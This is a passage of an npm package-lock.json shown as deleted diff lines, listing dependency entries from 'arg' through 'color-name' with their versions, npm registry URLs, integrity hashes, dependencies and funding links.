- "node_modules/arg": {
- "version": "5.0.2",
- "resolved": "https://registry.npmjs.org/arg/-/arg-5.0.2.tgz",
- "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg=="
- },
- "node_modules/argparse": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/argparse/-/argparse-2.0.1.tgz",
- "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="
- },
- "node_modules/aria-hidden": {
- "version": "1.2.4",
- "resolved": "https://registry.npmjs.org/aria-hidden/-/aria-hidden-1.2.4.tgz",
- "integrity": "sha512-y+CcFFwelSXpLZk/7fMB2mUbGtX9lKycf1MWJ7CaTIERyitVlyQx6C+sxcROU2BAJ24OiZyK+8wj2i8AlBoS3A==",
- "dependencies": {
- "tslib": "^2.0.0"
- },
- "engines": {
- "node": ">=10"
- }
- },
- "node_modules/aria-query": {
- "version": "5.3.2",
- "resolved": "https://registry.npmjs.org/aria-query/-/aria-query-5.3.2.tgz",
- "integrity": "sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/array-buffer-byte-length": {
- "version": "1.0.1",
- "resolved": "https://registry.npmjs.org/array-buffer-byte-length/-/array-buffer-byte-length-1.0.1.tgz",
- "integrity": "sha512-ahC5W1xgou+KTXix4sAO8Ki12Q+jf4i0+tmk3sC+zgcynshkHxzpXdImBehiUYKKKDwvfFiJl1tZt6ewscS1Mg==",
- "dependencies": {
- "call-bind": "^1.0.5",
- "is-array-buffer": "^3.0.4"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array-includes": {
- "version": "3.1.8",
- "resolved": "https://registry.npmjs.org/array-includes/-/array-includes-3.1.8.tgz",
- "integrity": "sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-object-atoms": "^1.0.0",
- "get-intrinsic": "^1.2.4",
- "is-string": "^1.0.7"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array-union": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/array-union/-/array-union-2.1.0.tgz",
- "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==",
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/array.prototype.findlast": {
- "version": "1.2.5",
- "resolved": "https://registry.npmjs.org/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz",
- "integrity": "sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-errors": "^1.3.0",
- "es-object-atoms": "^1.0.0",
- "es-shim-unscopables": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array.prototype.findlastindex": {
- "version": "1.2.5",
- "resolved": "https://registry.npmjs.org/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.5.tgz",
- "integrity": "sha512-zfETvRFA8o7EiNn++N5f/kaCw221hrpGsDmcpndVupkPzEc1Wuf3VgC0qby1BbHs7f5DVYjgtEU2LLh5bqeGfQ==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.2",
- "es-errors": "^1.3.0",
- "es-object-atoms": "^1.0.0",
- "es-shim-unscopables": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array.prototype.flat": {
- "version": "1.3.2",
- "resolved": "https://registry.npmjs.org/array.prototype.flat/-/array.prototype.flat-1.3.2.tgz",
- "integrity": "sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA==",
- "dependencies": {
- "call-bind": "^1.0.2",
- "define-properties": "^1.2.0",
- "es-abstract": "^1.22.1",
- "es-shim-unscopables": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array.prototype.flatmap": {
- "version": "1.3.2",
- "resolved": "https://registry.npmjs.org/array.prototype.flatmap/-/array.prototype.flatmap-1.3.2.tgz",
- "integrity": "sha512-Ewyx0c9PmpcsByhSW4r+9zDU7sGjFc86qf/kKtuSCRdhfbk0SNLLkaT5qvcHnRGgc5NP/ly/y+qkXkqONX54CQ==",
- "dependencies": {
- "call-bind": "^1.0.2",
- "define-properties": "^1.2.0",
- "es-abstract": "^1.22.1",
- "es-shim-unscopables": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/array.prototype.tosorted": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz",
- "integrity": "sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==",
- "dependencies": {
- "call-bind": "^1.0.7",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.23.3",
- "es-errors": "^1.3.0",
- "es-shim-unscopables": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/arraybuffer.prototype.slice": {
- "version": "1.0.3",
- "resolved": "https://registry.npmjs.org/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.3.tgz",
- "integrity": "sha512-bMxMKAjg13EBSVscxTaYA4mRc5t1UAXa2kXiGTNfZ079HIWXEkKmkgFrh/nJqamaLSrXO5H4WFFkPEaLJWbs3A==",
- "dependencies": {
- "array-buffer-byte-length": "^1.0.1",
- "call-bind": "^1.0.5",
- "define-properties": "^1.2.1",
- "es-abstract": "^1.22.3",
- "es-errors": "^1.2.1",
- "get-intrinsic": "^1.2.3",
- "is-array-buffer": "^3.0.4",
- "is-shared-array-buffer": "^1.0.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/ast-types-flow": {
- "version": "0.0.8",
- "resolved": "https://registry.npmjs.org/ast-types-flow/-/ast-types-flow-0.0.8.tgz",
- "integrity": "sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ=="
- },
- "node_modules/astring": {
- "version": "1.9.0",
- "resolved": "https://registry.npmjs.org/astring/-/astring-1.9.0.tgz",
- "integrity": "sha512-LElXdjswlqjWrPpJFg1Fx4wpkOCxj1TDHlSV4PlaRxHGWko024xICaa97ZkMfs6DRKlCguiAI+rbXv5GWwXIkg==",
- "bin": {
- "astring": "bin/astring"
- }
- },
- "node_modules/asynckit": {
- "version": "0.4.0",
- "resolved": "https://registry.npmjs.org/asynckit/-/asynckit-0.4.0.tgz",
- "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==",
- "license": "MIT"
- },
- "node_modules/autolinker": {
- "version": "3.16.2",
- "resolved": "https://registry.npmjs.org/autolinker/-/autolinker-3.16.2.tgz",
- "integrity": "sha512-JiYl7j2Z19F9NdTmirENSUUIIL/9MytEWtmzhfmsKPCp9E+G35Y0UNCMoM9tFigxT59qSc8Ml2dlZXOCVTYwuA==",
- "license": "MIT",
- "dependencies": {
- "tslib": "^2.3.0"
- }
- },
- "node_modules/autoprefixer": {
- "version": "10.4.20",
- "resolved": "https://registry.npmjs.org/autoprefixer/-/autoprefixer-10.4.20.tgz",
- "integrity": "sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/postcss/"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/autoprefixer"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "browserslist": "^4.23.3",
- "caniuse-lite": "^1.0.30001646",
- "fraction.js": "^4.3.7",
- "normalize-range": "^0.1.2",
- "picocolors": "^1.0.1",
- "postcss-value-parser": "^4.2.0"
- },
- "bin": {
- "autoprefixer": "bin/autoprefixer"
- },
- "engines": {
- "node": "^10 || ^12 || >=14"
- },
- "peerDependencies": {
- "postcss": "^8.1.0"
- }
- },
- "node_modules/available-typed-arrays": {
- "version": "1.0.7",
- "resolved": "https://registry.npmjs.org/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz",
- "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==",
- "dependencies": {
- "possible-typed-array-names": "^1.0.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/axe-core": {
- "version": "4.10.2",
- "resolved": "https://registry.npmjs.org/axe-core/-/axe-core-4.10.2.tgz",
- "integrity": "sha512-RE3mdQ7P3FRSe7eqCWoeQ/Z9QXrtniSjp1wUjt5nRC3WIpz5rSCve6o3fsZ2aCpJtrZjSZgjwXAoTO5k4tEI0w==",
- "engines": {
- "node": ">=4"
- }
- },
- "node_modules/axios": {
- "version": "1.13.1",
- "resolved": "https://registry.npmjs.org/axios/-/axios-1.13.1.tgz",
- "integrity": "sha512-hU4EGxxt+j7TQijx1oYdAjw4xuIp1wRQSsbMFwSthCWeBQur1eF+qJ5iQ5sN3Tw8YRzQNKb8jszgBdMDVqwJcw==",
- "license": "MIT",
- "dependencies": {
- "follow-redirects": "^1.15.6",
- "form-data": "^4.0.4",
- "proxy-from-env": "^1.1.0"
- }
- },
- "node_modules/axobject-query": {
- "version": "4.1.0",
- "resolved": "https://registry.npmjs.org/axobject-query/-/axobject-query-4.1.0.tgz",
- "integrity": "sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==",
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/bail": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/bail/-/bail-2.0.2.tgz",
- "integrity": "sha512-0xO6mYd7JB2YesxDKplafRpsiOzPt9V02ddPCLbY1xYGPOX24NTyN50qnUxgCPcSoYMhKpAuBTjQoRZCAkUDRw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/balanced-match": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/balanced-match/-/balanced-match-1.0.2.tgz",
- "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw=="
- },
- "node_modules/base64-js": {
- "version": "1.5.1",
- "resolved": "https://registry.npmjs.org/base64-js/-/base64-js-1.5.1.tgz",
- "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "MIT"
- },
- "node_modules/binary-extensions": {
- "version": "2.3.0",
- "resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.3.0.tgz",
- "integrity": "sha512-Ceh+7ox5qe7LJuLHoY0feh3pHuUDHAcRUeyL2VYghZwfpkNIy/+8Ocg0a3UuSoYzavmylwuLWQOf3hl0jjMMIw==",
- "engines": {
- "node": ">=8"
- },
- "funding": {
- "url": "https://github.com/sponsors/sindresorhus"
- }
- },
- "node_modules/brace-expansion": {
- "version": "1.1.12",
- "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-1.1.12.tgz",
- "integrity": "sha512-9T9UjW3r0UW5c1Q7GTwllptXwhvYmEzFhzMfZ9H7FQWt+uZePjZPjBP/W1ZEyZ1twGWom5/56TF4lPcqjnDHcg==",
- "license": "MIT",
- "dependencies": {
- "balanced-match": "^1.0.0",
- "concat-map": "0.0.1"
- }
- },
- "node_modules/braces": {
- "version": "3.0.3",
- "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.3.tgz",
- "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==",
- "dependencies": {
- "fill-range": "^7.1.1"
- },
- "engines": {
- "node": ">=8"
- }
- },
- "node_modules/browserslist": {
- "version": "4.24.3",
- "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.24.3.tgz",
- "integrity": "sha512-1CPmv8iobE2fyRMV97dAcMVegvvWKxmq94hkLiAkUGwKVTyDLw33K+ZxiFrREKmmps4rIw6grcCFCnTMSZ/YiA==",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/browserslist"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "dependencies": {
- "caniuse-lite": "^1.0.30001688",
- "electron-to-chromium": "^1.5.73",
- "node-releases": "^2.0.19",
- "update-browserslist-db": "^1.1.1"
- },
- "bin": {
- "browserslist": "cli.js"
- },
- "engines": {
- "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7"
- }
- },
- "node_modules/buffer": {
- "version": "6.0.3",
- "resolved": "https://registry.npmjs.org/buffer/-/buffer-6.0.3.tgz",
- "integrity": "sha512-FTiCpNxtwiZZHEZbcbTIcZjERVICn9yq/pDFkTl95/AxzD1naBctN7YO68riM/gLSDY7sdrMby8hofADYuuqOA==",
- "funding": [
- {
- "type": "github",
- "url": "https://github.com/sponsors/feross"
- },
- {
- "type": "patreon",
- "url": "https://www.patreon.com/feross"
- },
- {
- "type": "consulting",
- "url": "https://feross.org/support"
- }
- ],
- "license": "MIT",
- "dependencies": {
- "base64-js": "^1.3.1",
- "ieee754": "^1.2.1"
- }
- },
- "node_modules/call-bind": {
- "version": "1.0.8",
- "resolved": "https://registry.npmjs.org/call-bind/-/call-bind-1.0.8.tgz",
- "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==",
- "dependencies": {
- "call-bind-apply-helpers": "^1.0.0",
- "es-define-property": "^1.0.0",
- "get-intrinsic": "^1.2.4",
- "set-function-length": "^1.2.2"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/call-bind-apply-helpers": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz",
- "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==",
- "license": "MIT",
- "dependencies": {
- "es-errors": "^1.3.0",
- "function-bind": "^1.1.2"
- },
- "engines": {
- "node": ">= 0.4"
- }
- },
- "node_modules/call-bound": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/call-bound/-/call-bound-1.0.4.tgz",
- "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==",
- "license": "MIT",
- "dependencies": {
- "call-bind-apply-helpers": "^1.0.2",
- "get-intrinsic": "^1.3.0"
- },
- "engines": {
- "node": ">= 0.4"
- },
- "funding": {
- "url": "https://github.com/sponsors/ljharb"
- }
- },
- "node_modules/callsites": {
- "version": "3.1.0",
- "resolved": "https://registry.npmjs.org/callsites/-/callsites-3.1.0.tgz",
- "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/camelcase": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-2.1.1.tgz",
- "integrity": "sha512-DLIsRzJVBQu72meAKPkWQOLcujdXT32hwdfnkI1frSiSRMK1MofjKHf+MEx0SB6fjEFXL8fBDv1dKymBlOp4Qw==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/camelcase-css": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/camelcase-css/-/camelcase-css-2.0.1.tgz",
- "integrity": "sha512-QOSvevhslijgYwRx6Rv7zKdMF8lbRmx+uQGx2+vDc+KI/eBnsy9kit5aj23AgGu3pa4t9AgwbnXWqS+iOY+2aA==",
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/caniuse-lite": {
- "version": "1.0.30001759",
- "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001759.tgz",
- "integrity": "sha512-Pzfx9fOKoKvevQf8oCXoyNRQ5QyxJj+3O0Rqx2V5oxT61KGx8+n6hV/IUyJeifUci2clnmmKVpvtiqRzgiWjSw==",
- "funding": [
- {
- "type": "opencollective",
- "url": "https://opencollective.com/browserslist"
- },
- {
- "type": "tidelift",
- "url": "https://tidelift.com/funding/github/npm/caniuse-lite"
- },
- {
- "type": "github",
- "url": "https://github.com/sponsors/ai"
- }
- ],
- "license": "CC-BY-4.0"
- },
- "node_modules/ccount": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/ccount/-/ccount-2.0.1.tgz",
- "integrity": "sha512-eyrF0jiFpY+3drT6383f1qhkbGsLSifNAjA61IUjZjmLCWjItY6LB9ft9YhoDgwfmclB2zhu51Lc7+95b8NRAg==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/chalk": {
- "version": "4.1.2",
- "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
- "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
- "dependencies": {
- "ansi-styles": "^4.1.0",
- "supports-color": "^7.1.0"
- },
- "engines": {
- "node": ">=10"
- },
- "funding": {
- "url": "https://github.com/chalk/chalk?sponsor=1"
- }
- },
- "node_modules/character-entities": {
- "version": "2.0.2",
- "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-2.0.2.tgz",
- "integrity": "sha512-shx7oQ0Awen/BRIdkjkvz54PnEEI/EjwXDSIZp86/KKdbafHh1Df/RYGBhn4hbe2+uKC9FnT5UCEdyPz3ai9hQ==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/character-entities-html4": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-2.1.0.tgz",
- "integrity": "sha512-1v7fgQRj6hnSwFpq1Eu0ynr/CDEw0rXo2B61qXrLNdHZmPKgb7fqS1a2JwF0rISo9q77jDI8VMEHoApn8qDoZA==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/character-entities-legacy": {
- "version": "3.0.0",
- "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-3.0.0.tgz",
- "integrity": "sha512-RpPp0asT/6ufRm//AJVwpViZbGM/MkjQFxJccQRHmISF/22NBtsHqAWmL+/pmkPWoIUJdWyeVleTl1wydHATVQ==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/character-reference-invalid": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-2.0.1.tgz",
- "integrity": "sha512-iBZ4F4wRbyORVsu0jPV7gXkOsGYjGHPmAyv+HiHG8gi5PtC9KI2j1+v8/tlibRvjoWX027ypmG/n0HtO5t7unw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/chokidar": {
- "version": "3.6.0",
- "resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.6.0.tgz",
- "integrity": "sha512-7VT13fmjotKpGipCW9JEQAusEPE+Ei8nl6/g4FBAmIm0GOOLMua9NDDo/DWp0ZAxCr3cPq5ZpBqmPAQgDda2Pw==",
- "dependencies": {
- "anymatch": "~3.1.2",
- "braces": "~3.0.2",
- "glob-parent": "~5.1.2",
- "is-binary-path": "~2.1.0",
- "is-glob": "~4.0.1",
- "normalize-path": "~3.0.0",
- "readdirp": "~3.6.0"
- },
- "engines": {
- "node": ">= 8.10.0"
- },
- "funding": {
- "url": "https://paulmillr.com/funding/"
- },
- "optionalDependencies": {
- "fsevents": "~2.3.2"
- }
- },
- "node_modules/chokidar/node_modules/glob-parent": {
- "version": "5.1.2",
- "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
- "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
- "dependencies": {
- "is-glob": "^4.0.1"
- },
- "engines": {
- "node": ">= 6"
- }
- },
- "node_modules/class-variance-authority": {
- "version": "0.7.1",
- "resolved": "https://registry.npmjs.org/class-variance-authority/-/class-variance-authority-0.7.1.tgz",
- "integrity": "sha512-Ka+9Trutv7G8M6WT6SeiRWz792K5qEqIGEGzXKhAE6xOWAY6pPH8U+9IY3oCMv6kqTmLsv7Xh/2w2RigkePMsg==",
- "dependencies": {
- "clsx": "^2.1.1"
- },
- "funding": {
- "url": "https://polar.sh/cva"
- }
- },
- "node_modules/classnames": {
- "version": "2.5.1",
- "resolved": "https://registry.npmjs.org/classnames/-/classnames-2.5.1.tgz",
- "integrity": "sha512-saHYOzhIQs6wy2sVxTM6bUDsQO4F50V9RQ22qBpEdCW+I+/Wmke2HOl6lS6dTpdxVhb88/I6+Hs+438c3lfUow==",
- "license": "MIT"
- },
- "node_modules/client-only": {
- "version": "0.0.1",
- "resolved": "https://registry.npmjs.org/client-only/-/client-only-0.0.1.tgz",
- "integrity": "sha512-IV3Ou0jSMzZrd3pZ48nLkT9DA7Ag1pnPzaiQhpW7c3RbcqqzvzzVu+L8gfqMp/8IM2MQtSiqaCxrrcfu8I8rMA=="
- },
- "node_modules/cliui": {
- "version": "3.2.0",
- "resolved": "https://registry.npmjs.org/cliui/-/cliui-3.2.0.tgz",
- "integrity": "sha512-0yayqDxWQbqk3ojkYqUKqaAQ6AfNKeKWRNA8kR0WXzAsdHpP4BIaOmMAG87JGuO6qcobyW4GjxHd9PmhEd+T9w==",
- "dependencies": {
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1",
- "wrap-ansi": "^2.0.0"
- }
- },
- "node_modules/cliui/node_modules/ansi-regex": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
- "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/cliui/node_modules/is-fullwidth-code-point": {
- "version": "1.0.0",
- "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
- "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
- "dependencies": {
- "number-is-nan": "^1.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/cliui/node_modules/string-width": {
- "version": "1.0.2",
- "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
- "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
- "dependencies": {
- "code-point-at": "^1.0.0",
- "is-fullwidth-code-point": "^1.0.0",
- "strip-ansi": "^3.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/cliui/node_modules/strip-ansi": {
- "version": "3.0.1",
- "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
- "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
- "dependencies": {
- "ansi-regex": "^2.0.0"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/cliui/node_modules/wrap-ansi": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-2.1.0.tgz",
- "integrity": "sha512-vAaEaDM946gbNpH5pLVNR+vX2ht6n0Bt3GXwVB1AuAqZosOvHNF3P7wDnh8KLkSqgUh0uh77le7Owgoz+Z9XBw==",
- "dependencies": {
- "string-width": "^1.0.1",
- "strip-ansi": "^3.0.1"
- },
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/clone": {
- "version": "2.1.2",
- "resolved": "https://registry.npmjs.org/clone/-/clone-2.1.2.tgz",
- "integrity": "sha512-3Pe/CF1Nn94hyhIYpjtiLhdCoEoz0DqQ+988E9gmeEdQZlojxnOb74wctFyuwWQHzqyf9X7C7MG8juUpqBJT8w==",
- "engines": {
- "node": ">=0.8"
- }
- },
- "node_modules/clsx": {
- "version": "2.1.1",
- "resolved": "https://registry.npmjs.org/clsx/-/clsx-2.1.1.tgz",
- "integrity": "sha512-eYm0QWBtUrBWZWG0d386OGAw16Z995PiOVo2B7bjWSbHedGl5e0ZWaq65kOGgUSNesEIDkB9ISbTg/JK9dhCZA==",
- "engines": {
- "node": ">=6"
- }
- },
- "node_modules/cmdk": {
- "version": "1.0.4",
- "resolved": "https://registry.npmjs.org/cmdk/-/cmdk-1.0.4.tgz",
- "integrity": "sha512-AnsjfHyHpQ/EFeAnG216WY7A5LiYCoZzCSygiLvfXC3H3LFGCprErteUcszaVluGOhuOTbJS3jWHrSDYPBBygg==",
- "dependencies": {
- "@radix-ui/react-dialog": "^1.1.2",
- "@radix-ui/react-id": "^1.1.0",
- "@radix-ui/react-primitive": "^2.0.0",
- "use-sync-external-store": "^1.2.2"
- },
- "peerDependencies": {
- "react": "^18 || ^19 || ^19.0.0-rc",
- "react-dom": "^18 || ^19 || ^19.0.0-rc"
- }
- },
- "node_modules/code-point-at": {
- "version": "1.1.0",
- "resolved": "https://registry.npmjs.org/code-point-at/-/code-point-at-1.1.0.tgz",
- "integrity": "sha512-RpAVKQA5T63xEj6/giIbUEtZwJ4UFIc3ZtvEkiaUERylqe8xb5IvqcgOurZLahv93CLKfxcw5YI+DZcUBRyLXA==",
- "engines": {
- "node": ">=0.10.0"
- }
- },
- "node_modules/collapse-white-space": {
- "version": "2.1.0",
- "resolved": "https://registry.npmjs.org/collapse-white-space/-/collapse-white-space-2.1.0.tgz",
- "integrity": "sha512-loKTxY1zCOuG4j9f6EPnuyyYkf58RnhhWTvRoZEokgB+WbdXehfjFviyOVYkqzEWz1Q5kRiZdBYS5SwxbQYwzw==",
- "funding": {
- "type": "github",
- "url": "https://github.com/sponsors/wooorm"
- }
- },
- "node_modules/color-convert": {
- "version": "2.0.1",
- "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz",
- "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==",
- "dependencies": {
- "color-name": "~1.1.4"
- },
- "engines": {
- "node": ">=7.0.0"
- }
- },
- "node_modules/color-name": {
- "version": "1.1.4",
- "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
